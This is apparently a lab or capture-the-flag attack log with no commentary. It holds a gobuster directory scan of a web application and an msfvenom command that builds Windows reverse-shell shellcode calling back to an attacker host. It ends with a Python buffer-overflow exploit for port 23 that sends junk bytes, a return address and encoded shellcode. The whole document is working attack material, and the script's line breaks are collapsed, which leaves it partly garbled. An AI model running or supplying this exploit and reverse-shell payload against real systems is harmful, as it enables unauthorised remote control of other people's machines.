gobuster dir -u http://192.168.56.12/student_attendance/ -t 50  -x .php,.html,.txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -b 403,404

   msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.100 LPORT=4444 -b '\x00\x0a\x4d\x4f\x5f\x79\x7e\x7f' -f python

#!/usr/bin/python3import socketbuf=b''target_ip='192.168.56.12'target_port=23recv_buf=4096junk = b'a' * 1902ret_addr=b'\xd0\x12\x50\x62'#nops=b'\x90'*32   可选buf += b"\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81"buf += b"\x76\x0e\xe1\xa8\xa3\x85\x83\xee\xfc\xe2\xf4\x1d\x40"buf += b"\x21\x85\xe1\xa8\xc3\x0c\x04\x99\x63\xe1\x6a\xf8\x93"buf += b"\x0e\xb3\xa4\x28\xd7\xf5\x23\xd1\xad\xee\x1f\xe9\xa3"buf += b"\xd0\x57\x0f\xb9\x80\xd4\xa1\xa9\xc1\x69\x6c\x88\xe0"buf += b"\x6f\x41\x77\xb3\xff\x28\xd7\xf1\x23\xe9\xb9\x6a\xe4"buf += b"\xb2\xfd\x02\xe0\xa2\x54\xb0\x23\xfa\xa5\xe0\x7b\x28"buf += b"\xcc\xf9\x4b\x99\xcc\x6a\x9c\x28\x84\x37\x99\x5c\x29"buf += b"\x20\x67\xae\x84\x26\x90\x43\xf0\x17\xab\xde\x7d\xda"buf += b"\xd5\x87\xf0\x05\xf0\x28\xdd\xc5\xa9\x70\xe3\x6a\xa4"buf += b"\xe8\x0e\xb9\xb4\xa2\x56\x6a\xac\x28\x84\x31\x21\xe7"buf += b"\xa1\xc5\xf3\xf8\xe4\xb8\xf2\xf2\x7a\x01\xf7\xfc\xdf"buf += b"\x6a\xba\x48\x08\xbc\xc0\x90\xb7\xe1\xa8\xcb\xf2\x92"buf += b"\x9a\xfc\xd1\x89\xe4\xd4\xa3\xe6\x57\x76\x3d\x71\xa9"buf += b"\xa3\x85\xc8\x6c\xf7\xd5\x89\x81\x23\xee\xe1\x57\x76"buf += b"\xd5\xb1\xf8\xf3\xc5\xb1\xe8\xf3\xed\x0b\xa7\x7c\x65"buf += b"\x1e\x7d\x34\xef\xe4\xc0\x63\x2d\xd9\xcc\xcb\x87\xe1"buf += b"\xb9\xff\x0c\x07\xc2\xb3\xd3\xb6\xc0\x3a\x20\x95\xc9"buf += b"\x5c\x50\x64\x68\xd7\x89\x1e\xe6\xab\xf0\x0d\xc0\x53"buf += b"\x30\x43\xfe\x5c\x50\x89\xcb\xce\xe1\xe1\x21\x40\xd2"buf += b"\xb6\xff\x92\x73\x8b\xba\xfa\xd3\x03\x55\xc5\x42\xa5"buf += b"\x8c\x9f\x84\xe0\x25\xe7\xa1\xf1\x6e\xa3\xc1\xb5\xf8"buf += b"\xf5\xd3\xb7\xee\xf5\xcb\xb7\xfe\xf0\xd3\x89\xd1\x6f"buf += b"\xba\x67\x57\x76\x0c\x01\xe6\xf5\xc3\x1e\x98\xcb\x8d"buf += b"\x66\xb5\xc3\x7a\x34\x13\x53\x30\x43\xfe\xcb\x23\x74"buf += b"\x15\x3e\x7a\x34\x94\xa5\xf9\xeb\x28\x58\x65\x94\xad"buf += b"\x18\xc2\xf2\xda\xcc\xef\xe1\xfb\x5c\x50"payload = b''payload += junkpayload += ret_addr#payload += nopspayload += bufwith socket.socket(socket.AF_INET,socket.SOCK_STREAM) as clientSock:    clientSock.connect((target_ip,target_port))    data_from_srv = clientSock.recv(recv_buf)    print(f"Reply --> {data_from_srv}")    print(f"Sending --> {payload}")    clientSock.sendall(payload)